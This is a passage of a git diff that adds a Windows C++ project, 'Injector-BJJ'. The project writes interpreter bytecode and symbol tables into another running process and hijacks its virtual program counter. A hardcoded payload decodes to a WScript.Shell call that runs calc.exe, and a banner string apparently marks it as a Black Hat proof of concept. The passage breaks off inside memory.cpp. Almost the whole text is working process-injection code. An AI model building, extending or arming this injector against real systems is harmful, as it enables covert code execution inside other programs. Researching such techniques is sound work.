<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
|
||||
<ClCompile>
|
||||
<WarningLevel>Level3</WarningLevel>
|
||||
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||
<SDLCheck>true</SDLCheck>
|
||||
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||
<ConformanceMode>true</ConformanceMode>
|
||||
<LanguageStandard>stdcpp17</LanguageStandard>
|
||||
<AdditionalIncludeDirectories>$(SolutionDir)lib\json\include;$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\argparse\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
<AdditionalOptions>/utf-8 %(AdditionalOptions)</AdditionalOptions>
|
||||
</ClCompile>
|
||||
<Link>
|
||||
<SubSystem>Console</SubSystem>
|
||||
<EnableCOMDATFolding>true</EnableCOMDATFolding>
|
||||
<OptimizeReferences>true</OptimizeReferences>
|
||||
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||
</Link>
|
||||
</ItemDefinitionGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="config.cpp" />
|
||||
<ClCompile Include="inject.cpp">
|
||||
<AdditionalIncludeDirectories Condition="'$(Configuration)|$(Platform)'=='Release|x64'">$(SolutionDir)\lib\json\include;$(SolutionDir)lib\spdlog\include;$(SolutionDir)lib\argparse\include;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Injector-BJJ.cpp" />
|
||||
<ClCompile Include="memory.cpp" />
|
||||
<ClCompile Include="ntapi.cpp" />
|
||||
<ClCompile Include="payload.cpp" />
|
||||
<ClCompile Include="search.cpp" />
|
||||
<ClCompile Include="thread.cpp" />
|
||||
<ClCompile Include="util.cpp" />
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="common.h" />
|
||||
<ClInclude Include="config.h" />
|
||||
<ClInclude Include="config_win7_32.h" />
|
||||
<ClInclude Include="heap.h" />
|
||||
<ClInclude Include="inject.h" />
|
||||
<ClInclude Include="injector.h" />
|
||||
<ClInclude Include="memory.h" />
|
||||
<ClInclude Include="ntapi.h" />
|
||||
<ClInclude Include="payload.h" />
|
||||
<ClInclude Include="peb.h" />
|
||||
<ClInclude Include="search.h" />
|
||||
<ClInclude Include="stack.h" />
|
||||
<ClInclude Include="teb.h" />
|
||||
<ClInclude Include="util.h" />
|
||||
</ItemGroup>
|
||||
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
|
||||
<ImportGroup Label="ExtensionTargets">
|
||||
</ImportGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,90 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup>
|
||||
<Filter Include="Source Files">
|
||||
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
|
||||
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Header Files">
|
||||
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
|
||||
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
|
||||
</Filter>
|
||||
<Filter Include="Resource Files">
|
||||
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
|
||||
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
|
||||
</Filter>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="Injector-BJJ.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="inject.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="memory.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ntapi.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="search.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="thread.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="util.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="config.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="payload.cpp">
|
||||
<Filter>Source Files</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClInclude Include="config.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="config_win7_32.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="heap.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="inject.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="injector.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="memory.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ntapi.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="peb.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="search.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="stack.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="teb.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="common.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="payload.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="util.h">
|
||||
<Filter>Header Files</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
@@ -0,0 +1,15 @@
|
||||
#ifndef _INJECTOR_BYTECODE_H_
|
||||
#define _INJECTOR_BYTECODE_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
|
||||
using std::vector;
|
||||
|
||||
typedef struct _Bytecode {
|
||||
BYTE *bytes;
|
||||
int len;
|
||||
vector<off_t> reference_offsets;
|
||||
} Bytecode;
|
||||
|
||||
#endif // _INJECTOR_BYTECODE_H_
|
||||
@@ -0,0 +1,6 @@
|
||||
#ifndef _INJECTOR_COMMON_H_
|
||||
#define _INJECTOR_COMMON_H_
|
||||
|
||||
#include <spdlog/spdlog.h>
|
||||
|
||||
#endif // _INJECTOR_COMMON_H_
|
||||
@@ -0,0 +1,27 @@
|
||||
#include "config.h"
|
||||
|
||||
|
||||
void deserialize_config(std::string config_json_string, Config& config) {
|
||||
auto config_json = json::parse(config_json_string);
|
||||
|
||||
try {
|
||||
config.interp_module_name = config_json.at("interp_module_name").get<std::string>();
|
||||
config.interp_func_offset = config_json.at("interp_func_offset").get<off_t>();
|
||||
config.management_structure_index = config_json.at("management_structure_index").get<int>();
|
||||
config_json.at("bytecode").at("reference_offsets").get_to(config.bytecode.reference_offsets);
|
||||
config_json.at("vpc").at("reference_offsets").get_to(config.vpc.reference_offsets);
|
||||
auto symbol_tables = config_json.at("symbol_tables");
|
||||
for (auto it = symbol_tables.begin(); it != symbol_tables.end(); it++) {
|
||||
SymbolTableConfig symbol_table_config;
|
||||
symbol_table_config.type = it->at("type");
|
||||
symbol_table_config.scope = it->at("scope");
|
||||
it->at("reference_offsets").get_to(symbol_table_config.reference_offsets);
|
||||
symbol_table_config.forward_link_offset = it->at("forward_link_offset");
|
||||
config.symbol_tables.push_back(symbol_table_config);
|
||||
}
|
||||
}
|
||||
catch (const std::exception& err) {
|
||||
spdlog::error(err.what());
|
||||
std::exit(1);
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
#ifndef _INJECTOR_CONFIG_H_
|
||||
#define _INJECTOR_CONFIG_H_
|
||||
|
||||
#include "common.h"
|
||||
#include <nlohmann/json.hpp>
|
||||
#include <Windows.h>
|
||||
#include <string>
|
||||
#include <vector>
|
||||
|
||||
using json = nlohmann::json;
|
||||
using std::vector;
|
||||
|
||||
|
||||
typedef struct _BytecodeConfig {
|
||||
std::vector<off_t> reference_offsets;
|
||||
} BytecodeConfig;
|
||||
|
||||
typedef struct _SymbolTableConfig {
|
||||
UINT8 type;
|
||||
UINT8 scope;
|
||||
std::vector<off_t> reference_offsets;
|
||||
off_t forward_link_offset;
|
||||
} SymbolTableConfig;
|
||||
|
||||
typedef struct _VPCConfig {
|
||||
std::vector<off_t> reference_offsets;
|
||||
} VPCConfig;
|
||||
|
||||
typedef struct _Config {
|
||||
std::string interp_module_name;
|
||||
off_t interp_func_offset;
|
||||
int management_structure_index;
|
||||
BytecodeConfig bytecode;
|
||||
std::vector<SymbolTableConfig> symbol_tables;
|
||||
VPCConfig vpc;
|
||||
} Config;
|
||||
|
||||
|
||||
void deserialize_config(std::string config_json_string, Config& config);
|
||||
|
||||
#endif // _INJECTOR_CONFIG_H_
|
||||
@@ -0,0 +1,35 @@
|
||||
#ifndef _INJECTOR_CONFIG_H_
|
||||
#define _INJECTOR_CONFIG_H_
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vector>
|
||||
|
||||
using std::vector;
|
||||
|
||||
typedef struct _Config {
|
||||
char *search_pattern;
|
||||
BYTE *bytecode_bytes;
|
||||
int bytecode_len;
|
||||
BYTE *symbol_table_bytes;
|
||||
int symbol_table_len;
|
||||
vector<off_t> bytecode_reference_offsets;
|
||||
vector<off_t> symbol_table_reference_offsets;
|
||||
vector<off_t> vpc_reference_offsets;
|
||||
} Config;
|
||||
|
||||
char search_pattern[] = R"(\x48\x00\x65\x00\x6C\x00\x6C\x00\x6F\x00\x2C\x00\x20\x00\x42\x00\x6C\x00\x61\x00\x63\x00\x6B\x00\x20\x00\x48\x00\x61\x00\x74\x00\x20\x00\x66\x00\x6F\x00\x6C\x00\x6B\x00\x73\x00\x21\x00)";
|
||||
BYTE bytecode_bytes[] = "\x56\x38\x00\x00\x00\x01\x00\x00\x03\x00\x0e\x48\x00\x00\x00\x28\x6c\x00\x00\x00\x01\x00\x1b\x01\x00\x03\x01\x19\x01\x00\x0e\x90\x00\x00\x00\x31\xac\x00\x00\x00\x01\x00\x02\x01\x00\x00\x00";
|
||||
BYTE symbol_table_bytes[] = "\xcc\x00\x00\x00\x1c\x00\x00\x00\xb4\x00\x00\x00\x02\x00\x00\x00\xc8\x00\x00\x00\x01\x00\x00\x00\x00\x02\x00\x00\xb8\x00\x00\x00\x02\x00\x00\x00\xe8\x00\x00\x00\x18\x01\x00\x00\x44\x00\x00\x00\x62\x8e\x00\x00\x06\x00\x00\x00\x57\x00\x73\x00\x68\x00\x00\x00\x42\x0d\x6f\x26\x1a\x00\x00\x00\x57\x00\x53\x00\x63\x00\x72\x00\x69\x00\x70\x00\x74\x00\x2e\x00\x53\x00\x68\x00\x65\x00\x6c\x00\x6c\x00\x00\x00\x0b\xb7\xb7\x0f\x18\x00\x00\x00\x43\x00\x72\x00\x65\x00\x61\x00\x74\x00\x65\x00\x4f\x00\x62\x00\x6a\x00\x65\x00\x63\x00\x74\x00\x00\x00\x00\x00\xf3\xe0\x8d\x0a\x10\x00\x00\x00\x63\x00\x61\x00\x6c\x00\x63\x00\x2e\x00\x65\x00\x78\x00\x65\x00\x00\x00\x00\x00\xe5\x88\x00\x00\x06\x00\x00\x00\x52\x00\x75\x00\x6e\x00\x00\x00";
|
||||
|
||||
Config config = {
|
||||
search_pattern,
|
||||
bytecode_bytes,
|
||||
sizeof(bytecode_bytes),
|
||||
symbol_table_bytes,
|
||||
sizeof(symbol_table_bytes),
|
||||
{ 0x0, 0xb8 },
|
||||
{ 0x0, 0xc0 },
|
||||
{ 0x0, 0xb4 }
|
||||
};
|
||||
|
||||
#endif // _INJECTOR_CONFIG_H_
|
||||
@@ -0,0 +1,147 @@
|
||||
#include <Windows.h>
|
||||
#include <list>
|
||||
|
||||
|
||||
#ifndef _WIN64
|
||||
typedef struct _DEBUG_BUFFER { //32-bit
|
||||
HANDLE SectionHandle;
|
||||
PVOID SectionBase;
|
||||
PVOID RemoteSectionBase;
|
||||
ULONG SectionBaseDelta;
|
||||
HANDLE EventPairHandle;
|
||||
ULONG Unknown[2];
|
||||
HANDLE RemoteThreadHandle;
|
||||
ULONG InfoClassMask;
|
||||
ULONG SizeOfInfo;
|
||||
ULONG AllocatedSize;
|
||||
ULONG SectionSize;
|
||||
PVOID ModuleInformation;
|
||||
PVOID BackTraceInformation;
|
||||
PVOID HeapInformation;
|
||||
PVOID LockInformation;
|
||||
PVOID Reserved[8];
|
||||
} DEBUG_BUFFER, *PDEBUG_BUFFER;
|
||||
|
||||
typedef struct _DEBUG_HEAP_INFORMATION //32-bit
|
||||
{
|
||||
ULONG Base; // 0x00
|
||||
ULONG Flags; // 0x04
|
||||
USHORT Granularity; // 0x08
|
||||
USHORT Unknown; // 0x0A
|
||||
ULONG Allocated; // 0x0C
|
||||
ULONG Committed; // 0x10
|
||||
ULONG TagCount; // 0x14
|
||||
ULONG BlockCount; // 0x18
|
||||
ULONG Reserved[7]; // 0x1C
|
||||
PVOID Tags; // 0x38
|
||||
PVOID Blocks; // 0x3C
|
||||
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;
|
||||
|
||||
struct HeapBlock
|
||||
{
|
||||
PVOID dwAddress;
|
||||
DWORD dwSize;
|
||||
DWORD dwFlags;
|
||||
ULONG reserved;
|
||||
};
|
||||
|
||||
|
||||
#endif
|
||||
|
||||
#ifdef _WIN64
|
||||
|
||||
// DEBUG_BUFFER from: https://github.com/radareorg/radare2/blob/master/libr/include/heap/r_windows.h
|
||||
typedef struct _DEBUG_BUFFER {
|
||||
HANDLE SectionHandle;
|
||||
PVOID SectionBase;
|
||||
PVOID RemoteSectionBase;
|
||||
WPARAM SectionBaseDelta;
|
||||
HANDLE EventPairHandle;
|
||||
HANDLE RemoteEventPairHandle;
|
||||
HANDLE RemoteProcessId;
|
||||
HANDLE RemoteThreadHandle;
|
||||
ULONG InfoClassMask;
|
||||
SIZE_T SizeOfInfo;
|
||||
SIZE_T AllocatedSize;
|
||||
SIZE_T SectionSize;
|
||||
PVOID ModuleInformation;
|
||||
PVOID BackTraceInformation;
|
||||
PVOID HeapInformation;
|
||||
PVOID LockInformation;
|
||||
PVOID SpecificHeap;
|
||||
HANDLE RemoteProcessHandle;
|
||||
PVOID VerifierOptions;
|
||||
PVOID ProcessHeap;
|
||||
HANDLE CriticalSectionHandle;
|
||||
HANDLE CriticalSectionOwnerThread;
|
||||
PVOID Reserved[4];
|
||||
} DEBUG_BUFFER, *PDEBUG_BUFFER;
|
||||
|
||||
// Patched version of DEBUG_HEAP_INFORMATION from: https://github.com/radareorg/radare2/blob/master/libr/include/heap/r_windows.h
|
||||
typedef struct _DEBUG_HEAP_INFORMATION {
|
||||
PVOID Base;
|
||||
DWORD Flags;
|
||||
USHORT Granularity;
|
||||
USHORT CreatorBackTraceIndex;
|
||||
SIZE_T Allocated;
|
||||
SIZE_T Committed;
|
||||
DWORD TagCount;
|
||||
DWORD BlockCount;
|
||||
DWORD PseudoTagCount;
|
||||
DWORD PseudoTagGranularity;
|
||||
DWORD Reserved[5];
|
||||
PVOID Tags;
|
||||
PVOID Blocks;
|
||||
PVOID Reserved2;
|
||||
} DEBUG_HEAP_INFORMATION, *PDEBUG_HEAP_INFORMATION;
|
||||
|
||||
#endif
|
||||
|
||||
typedef struct _HeapInfo {
|
||||
unsigned long id;
|
||||
unsigned long long base;
|
||||
bool default_flag;
|
||||
std::list<std::pair<ULONG_PTR, ULONG_PTR> > blocks;
|
||||
} HeapInfo;
|
||||
|
||||
// From radare2
|
||||
typedef struct _HeapBlockExtraInfo { // think of extra stuff to put here
|
||||
WPARAM heap;
|
||||
WPARAM segment;
|
||||
WPARAM unusedBytes;
|
||||
USHORT granularity;
|
||||
} HeapBlockExtraInfo, * PHeapBlockExtraInfo;
|
||||
|
||||
typedef struct _HeapBlock {
|
||||
ULONG_PTR dwAddress;
|
||||
SIZE_T dwSize;
|
||||
DWORD dwFlags;
|
||||
SIZE_T index;
|
||||
PHeapBlockExtraInfo extraInfo;
|
||||
} HeapBlock, * PHeapBlock;
|
||||
|
||||
typedef struct _HeapBlockBasicInfo {
|
||||
WPARAM size;
|
||||
WPARAM flags;
|
||||
WPARAM extra;
|
||||
WPARAM address;
|
||||
} HeapBlockBasicInfo, * PHeapBlockBasicInfo;
|
||||
|
||||
#define SHIFT 16
|
||||
|
||||
#define EXTRA_FLAG (1ULL << (sizeof (size_t) * 8 - 1))
|
||||
|
||||
// Until here, from radare2
|
||||
|
||||
#define PDI_MODULES 0x01
|
||||
#define PDI_BACKTRACE 0x02
|
||||
#define PDI_HEAPS 0x04
|
||||
#define PDI_HEAP_TAGS 0x08
|
||||
#define PDI_HEAP_BLOCKS 0x10
|
||||
#define PDI_LOCKS 0x20
|
||||
|
||||
extern "C"
|
||||
__declspec(dllimport) NTSTATUS __stdcall RtlQueryProcessDebugInformation(IN ULONG ProcessId, IN ULONG DebugInfoClassMask, IN OUT PDEBUG_BUFFER DebugBuffer);
|
||||
|
||||
extern "C"
|
||||
__declspec(dllimport) PDEBUG_BUFFER __stdcall RtlCreateQueryDebugBuffer(IN ULONG Size, IN BOOLEAN EventPair);
|
||||
@@ -0,0 +1,149 @@
|
||||
#include "inject.h"
|
||||
|
||||
extern std::ostream *out;
|
||||
|
||||
void inject(HANDLE hProcess,
|
||||
LPVOID management_structure_addr,
|
||||
Payload payload,
|
||||
Config config) {
|
||||
|
||||
spdlog::info("Injecting bytecode ... ");
|
||||
|
||||
inject_bytecode(hProcess, management_structure_addr, payload.bytecode, config);
|
||||
|
||||
spdlog::info("Done.");
|
||||
|
||||
inject_symbol_tables(hProcess, management_structure_addr, payload.symbol_tables, config);
|
||||
}
|
||||
|
||||
LPVOID dereference_forward(HANDLE hProcess, LPVOID base_addr, vector<off_t> reference_offsets) {
|
||||
LPVOID addr;
|
||||
BYTE read_bytes[sizeof(LPVOID)];
|
||||
|
||||
addr = base_addr;
|
||||
for (auto iter = reference_offsets.begin(); iter != reference_offsets.end(); iter++) {
|
||||
read(hProcess, (LPVOID)((int64_t)addr + *iter), read_bytes, sizeof(read_bytes));
|
||||
memcpy(&addr, read_bytes, sizeof(read_bytes));
|
||||
}
|
||||
|
||||
return addr;
|
||||
}
|
||||
|
||||
LPVOID find_bytecode_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
|
||||
return dereference_forward(hProcess, management_structure_addr, config.bytecode.reference_offsets);
|
||||
}
|
||||
|
||||
LPVOID find_symbol_table_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
|
||||
return dereference_forward(hProcess, management_structure_addr, config.symbol_tables[0].reference_offsets);
|
||||
}
|
||||
|
||||
LPVOID find_vpc_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config) {
|
||||
LPVOID vpc_addr;
|
||||
off_t vpc_offset;
|
||||
|
||||
vpc_offset = config.vpc.reference_offsets.back();
|
||||
config.vpc.reference_offsets.pop_back();
|
||||
vpc_addr = dereference_forward(hProcess, management_structure_addr, config.vpc.reference_offsets);
|
||||
vpc_addr = (LPVOID)((int64_t)vpc_addr + vpc_offset);
|
||||
|
||||
return vpc_addr;
|
||||
}
|
||||
|
||||
void inject_bytecode(HANDLE hProcess, LPVOID management_structure_addr, Bytecode bytecode, Config config) {
|
||||
LPVOID bytecode_addr;
|
||||
bytecode_addr = find_bytecode_addr(hProcess, management_structure_addr, config);
|
||||
spdlog::info("Bytecode cache found at 0x{:x}", (int64_t)bytecode_addr);
|
||||
write(hProcess, bytecode_addr, bytecode.bytes, bytecode.len);
|
||||
}
|
||||
|
||||
void inject_symbol_tables(HANDLE hProcess, LPVOID management_structure_addr, vector<SymbolTable> symbol_tables, Config config) {
|
||||
LPVOID symbol_table_addr;
|
||||
SymbolTable symbol_table;
|
||||
|
||||
for (auto iter = symbol_tables.begin(); iter != symbol_tables.end(); iter++) {
|
||||
symbol_table = *iter;
|
||||
symbol_table_addr = find_symbol_table_addr(hProcess, management_structure_addr, config);
|
||||
spdlog::info("Symbol table found at 0x{:x}", (int64_t)symbol_table_addr);
|
||||
inject_symbol_table(hProcess, symbol_table_addr, symbol_table);
|
||||
}
|
||||
}
|
||||
|
||||
void inject_symbol_table(HANDLE hProcess, LPVOID symbol_table_addr, SymbolTable symbol_table) {
|
||||
LPVOID value_object_addr;
|
||||
ValueObject value_object;
|
||||
|
||||
// TODO: add a check regarding the number of value objects where symbol_table.type = kSymbolTableTypeDirect
|
||||
|
||||
for (int i = 0; i < symbol_table.value_objects.size(); i++) {
|
||||
value_object_addr = symbol_table_addr;
|
||||
|
||||
value_object = symbol_table.value_objects.at(i);
|
||||
spdlog::info("Injecting a symbol table ... ");
|
||||
write(hProcess, value_object_addr, value_object.bytes, value_object.len);
|
||||
spdlog::info("Done.");
|
||||
}
|
||||
}
|
||||
|
||||
void overwrite_vpc(HANDLE hProcess, LPVOID management_structure_addr, Config config, LPVOID bytecode_addr) {
|
||||
LPVOID vpc_addr = find_vpc_addr(hProcess, management_structure_addr, config);
|
||||
spdlog::info("VPC found at 0x{:x}", (int64_t)vpc_addr);
|
||||
spdlog::info("Overwriting VPC to 0x{:x} ...", (int64_t)bytecode_addr);
|
||||
write(hProcess, vpc_addr, (BYTE *)&bytecode_addr, sizeof(LPVOID));
|
||||
spdlog::info("Done.");
|
||||
}
|
||||
|
||||
void read(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len) {
|
||||
/*
|
||||
BOOL ReadProcessMemory(
|
||||
[in] HANDLE hProcess,
|
||||
[in] LPCVOID lpBaseAddress,
|
||||
[out] LPVOID lpBuffer,
|
||||
[in] SIZE_T nSize,
|
||||
[out] SIZE_T *lpNumberOfBytesRead
|
||||
);
|
||||
*/
|
||||
SIZE_T read_len;
|
||||
BOOL result;
|
||||
result = ReadProcessMemory(hProcess,
|
||||
addr,
|
||||
bytes,
|
||||
bytes_len,
|
||||
&read_len);
|
||||
|
||||
if (result == 0)
|
||||
log_err_msg();
|
||||
|
||||
if (read_len != bytes_len)
|
||||
*out << "Error: could not read all bytes. "
|
||||
<< read_len
|
||||
<< " bytes read."
|
||||
<< std::endl;
|
||||
}
|
||||
|
||||
void write(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len) {
|
||||
/*
|
||||
BOOL WriteProcessMemory(
|
||||
[in] HANDLE hProcess,
|
||||
[in] LPVOID lpBaseAddress,
|
||||
[in] LPCVOID lpBuffer,
|
||||
[in] SIZE_T nSize,
|
||||
[out] SIZE_T *lpNumberOfBytesWritten
|
||||
);
|
||||
*/
|
||||
SIZE_T write_len;
|
||||
BOOL result;
|
||||
result = WriteProcessMemory(hProcess,
|
||||
addr,
|
||||
bytes,
|
||||
bytes_len,
|
||||
&write_len);
|
||||
|
||||
if (result == 0)
|
||||
log_err_msg();
|
||||
|
||||
if (write_len != bytes_len)
|
||||
*out << "Error: could not write all bytes. "
|
||||
<< write_len
|
||||
<< " bytes written."
|
||||
<< std::endl;
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
#ifndef _INJECTOR_INJECT_H_
|
||||
#define _INJECTOR_INJECT_H_
|
||||
|
||||
#include "config.h"
|
||||
#include "common.h"
|
||||
#include "payload.h"
|
||||
#include "util.h"
|
||||
#include "vpc.h"
|
||||
#include <Windows.h>
|
||||
#include <iomanip>
|
||||
#include <iostream>
|
||||
#include <list>
|
||||
|
||||
using std::vector;
|
||||
|
||||
void inject(HANDLE hProcess, LPVOID management_structure_addr, Payload payload, Config config);
|
||||
LPVOID find_bytecode_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
|
||||
LPVOID find_symbol_table_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
|
||||
LPVOID find_vpc_addr(HANDLE hProcess, LPVOID management_structure_addr, Config config);
|
||||
void inject_bytecode(HANDLE hProcess, LPVOID management_structure_addr, Bytecode bytecode, Config config);
|
||||
void inject_symbol_tables(HANDLE hProcess, LPVOID management_structure_addr, vector<SymbolTable> symbol_tables, Config config);
|
||||
void inject_symbol_table(HANDLE hProcess, LPVOID symbol_table_addr, SymbolTable symbol_table);
|
||||
void overwrite_vpc(HANDLE hProcess, LPVOID management_structure_addr, Config config, LPVOID bytecode_addr);
|
||||
void read(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len);
|
||||
void write(HANDLE hProcess, LPVOID addr, BYTE *bytes, SIZE_T bytes_len);
|
||||
|
||||
#endif // _INJECTOR_INJECT_H_
|
||||
@@ -0,0 +1,46 @@
|
||||
#ifndef INJECTOR_INJECTOR_H_
|
||||
#define INJECTOR_INJECTOR_H_
|
||||
|
||||
#include "payload.h"
|
||||
#include "common.h"
|
||||
#include "config.h"
|
||||
#include "inject.h"
|
||||
#include "memory.h"
|
||||
#include "ntapi.h"
|
||||
#include "peb.h"
|
||||
#include "search.h"
|
||||
#include "thread.h"
|
||||
#include "util.h"
|
||||
#include <argparse/argparse.hpp>
|
||||
#include <Windows.h>
|
||||
#include <stdio.h>
|
||||
#include <winuser.h>
|
||||
#include <winternl.h>
|
||||
#include <tlhelp32.h>
|
||||
#include <regex>
|
||||
#include <list>
|
||||
#include <utility>
|
||||
#include <iterator>
|
||||
#include <iostream>
|
||||
#include <iomanip>
|
||||
#include <fstream>
|
||||
#include <vector>
|
||||
#include <algorithm>
|
||||
|
||||
#define DPSAPI_VERSION 1
|
||||
#include <psapi.h>
|
||||
|
||||
#pragma comment(lib, "psapi.lib")
|
||||
#pragma comment(lib, "ntdll.lib")
|
||||
#pragma comment(lib, "User32.lib")
|
||||
|
||||
typedef struct _ReplacementContent {
|
||||
BYTE *pattern;
|
||||
SIZE_T pattern_len;
|
||||
BYTE *bytes;
|
||||
SIZE_T bytes_len;
|
||||
} ReplacementContent;
|
||||
|
||||
bool resume_thread(PROCESS_INFORMATION *pi);
|
||||
|
||||
#endif // INJECTOR_INJECTOR_H_
|
||||
@@ -0,0 +1,488 @@
|
||||
#include "memory.h"
|
||||
|
||||
extern std::ostream *out;
|
||||
extern tmpl_NtQueryInformationThread fpNtQueryInformationThread;
|
||||
extern tmpl_NtQueryInformationProcess fpNtQueryInformationProcess;
|
||||
|
||||
int stack_dump_count = 0;
|
||||
int heap_dump_count = 0;
|
||||
|
||||
|
||||
static bool GetFirstHeapBlock(PDEBUG_HEAP_INFORMATION heapInfo, PHeapBlock hb)
|
||||
{
|
||||
PHeapBlockBasicInfo block;
|
||||
|
||||
hb->index = 0;
|
||||
// hb->reserved = 0;
|
||||
hb->dwAddress = 0;
|
||||
hb->dwFlags = 0;
|
||||
hb->extraInfo = NULL;
|
||||
|
||||
block = (PHeapBlockBasicInfo)heapInfo->Blocks;
|
||||
if (!block) {
|
||||
return false;
|
||||
}
|
||||
|
||||
SIZE_T index = hb->index;
|
||||
do {
|
||||
if (index > heapInfo->BlockCount) {
|
||||
return false;
|
||||
}
|
||||
hb->dwAddress = block[index].address;
|
||||
hb->dwSize = block->size;
|
||||
if (block[index].extra & EXTRA_FLAG) {
|
||||
PHeapBlockExtraInfo extra = (PHeapBlockExtraInfo)(block[index].extra & ~EXTRA_FLAG);
|
||||
hb->dwSize -= extra->unusedBytes;
|
||||
hb->extraInfo = extra;
|
||||
hb->dwAddress = (WPARAM)hb->dwAddress + extra->granularity;
|
||||
}
|
||||
else {
|
||||
hb->dwAddress = (WPARAM)hb->dwAddress + heapInfo->Granularity;
|
||||
hb->extraInfo = NULL;
|
||||
}
|
||||
if (hb->dwSize >= 0x10000) hb->dwSize -= 0x1010;
|
||||
|
||||
*out << "Address: 0x" << std::hex << hb->dwAddress << std::endl;
|
||||
*out << "Size: 0x" << std::hex << hb->dwSize << std::endl;
|
||||
*out << "Index: " << std::dec << hb->index << std::endl;
|
||||
index++;
|
||||
} while (block[index].flags & 2);
|
||||
|
||||
WPARAM flags = block[hb->index].flags;
|
||||
|
||||
if ((flags & 0xF1) != 0 || (flags & 0x0200) != 0)
|
||||
